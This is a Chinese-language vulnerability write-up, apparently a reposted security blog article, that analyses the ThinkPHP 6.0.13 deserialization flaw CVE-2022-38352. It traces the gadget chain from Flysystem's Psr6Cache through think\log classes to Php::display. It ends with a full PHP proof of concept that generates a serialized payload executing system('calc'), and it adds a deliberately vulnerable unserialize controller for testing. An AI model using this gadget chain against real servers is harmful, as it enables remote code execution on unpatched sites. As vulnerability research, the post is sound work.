Thinkphp v6.0.13反序列化(CVE-2022-38352)分析
2023-2-16 00:24:0 Author: xz.aliyun.com(查看原文) 阅读量:51 收藏

1.环境搭建

目前的Thinkphp6.1.0以上已经将filesystem移除了,之前因为这玩意儿曝出了好多条反序列化漏洞。
composer安装Thinkphp6.0.13:

composer create-project topthink/think=6.0.13 tp6

修改app/controller/Index.php添加反序列化点:

<?php
namespace app\controller;

use app\BaseController;

class Index extends BaseController
{
    public function index(){
        if($_POST["a"]){
            unserialize(base64_decode($_POST["a"]));
        }
        return "hello";
    }

    public function hello($name = 'ThinkPHP6')
    {
        return 'hello,' . $name;
    }
}
2.漏洞分析

入口是League\Flysystem\Cached\Storage\Psr6Cache父类League\Flysystem\Cached\Storage\AbstractCache__destruct()方法:

$this->autosave可控,调用Psr6Cache类的save()方法,跟进:

$this->pool可控,可以调用任意类的__call()方法,漏洞披露者在这儿调用的是think\log\Channel类的__call()方法:

传入的参数中$method是调用调用__call()方法时的方法名,即getItem。$parameters传入的是可控的$this->key。跟进log()方法:

调用了record()方法:

这里面很多参数都可控,控制$this->lazy参数为false即可调用save()方法:

$this->logger参数可控,调用任意类的save()方法,这里利用的是think\log\driver\Socket的save()方法:

首先是要绕过第一个判断,if (!$this->check()),需要check()方法返回true,跟进check()方法看看:

这里控制$this->config['force_client_ids']为true,$this->config['allow_client_ids']为空即可成功返回true。返回save()方法,控制$this->config['debug']为true进入分支:

继续进入下一个分支需要$this->app->exists('request')返回true。所以给$this->app赋值为think\APP类,APP类没有exists()方法,调用父类think\Container的exists()方法:

注释中说明了这个方法的功能,传入的$abstract参数是request,调用getAlias()方法,跟进看一下这个方法的功能:

根据别名获取真实类名,所以这个函数的返回的是think\Request,需要exists()方法中的isset($this->instances[$abstract])返回true,给$this->instances赋值为['think\Request'=>new Request()]即可:

接下来,调用Request类的url()方法:


url()方法中将我们可控的$this->url赋值给$url,同时因为传入的$complete参数为true,所以会调用domain()方法,并将返回结果和可控的$url拼接起来:

这里是在拼接协议和host,我这里调试获取到的结果是:

执行url()方法获取到的结果赋值给$currentUri参数:

给$this->config['format_head']赋值,执行Container类的invoke方法:

跟进invoke()方法,执行第三个return语句:

跟进invokeMethod方法,如果我们传入的是数组,就将键赋给$class,将值赋给$method:

接下来的代码玩java反序列化的选手应该比较熟悉了,这三行代码实现了反射执行任意类的任意方法:

而其中$class和$method是我们控制的$this->config['format_head']变量中的内容,$vars是$currentUri变量中的内容,其中拼接时传入的$this->url部分是我们可控的:

三个参数都可控,寻找一个可以利用的类和方法,这里找到的是think\view\driver\Php#display(),很明显的rce了:

再回头来看看我们传的参数,$currentUri变量的前半部分是http://,后半部分就是我们拼接的$this->url,控制$this->url为我们想要执行的php代码即可:


最终实现RCE:

Poc:

<?php

namespace League\Flysystem\Cached\Storage{

    class Psr6Cache{
        private $pool;
        protected $autosave = false;
        public function __construct($exp){
            $this->pool = $exp;
        }
    }
}

namespace think\log{
    class Channel{
        protected $logger;
        protected $lazy = true;

        public function __construct($exp){
            $this->logger = $exp;
            $this->lazy = false;
        }
    }
}

namespace think{
    class Request{
        protected $url;
        public function __construct(){
            $this->url = '<?php system(\'calc\'); exit(); ?>';
        }
    }
    class App{
        protected $instances = [];
        public function __construct(){
            $this->instances = ['think\Request'=>new Request()];
        }
    }
}

namespace think\view\driver{
    class Php{}
}

namespace think\log\driver{

    class Socket{
        protected $config = [];
        protected $app;
        public function __construct(){

            $this->config = [
                'debug'=>true,
                'force_client_ids' => 1,
                'allow_client_ids' => '',
                'format_head' => [new \think\view\driver\Php,'display'],
            ];
            $this->app = new \think\App();

        }
    }
}

namespace{
    $c = new think\log\driver\Socket();
    $b = new think\log\Channel($c);
    $a = new League\Flysystem\Cached\Storage\Psr6Cache($b);
    echo urlencode(base64_encode(serialize($a)));
}

参考链接:https://github.com/top-think/framework/issues/2749


文章来源: https://xz.aliyun.com/t/12169
如有侵权请联系:admin#unsafe.sh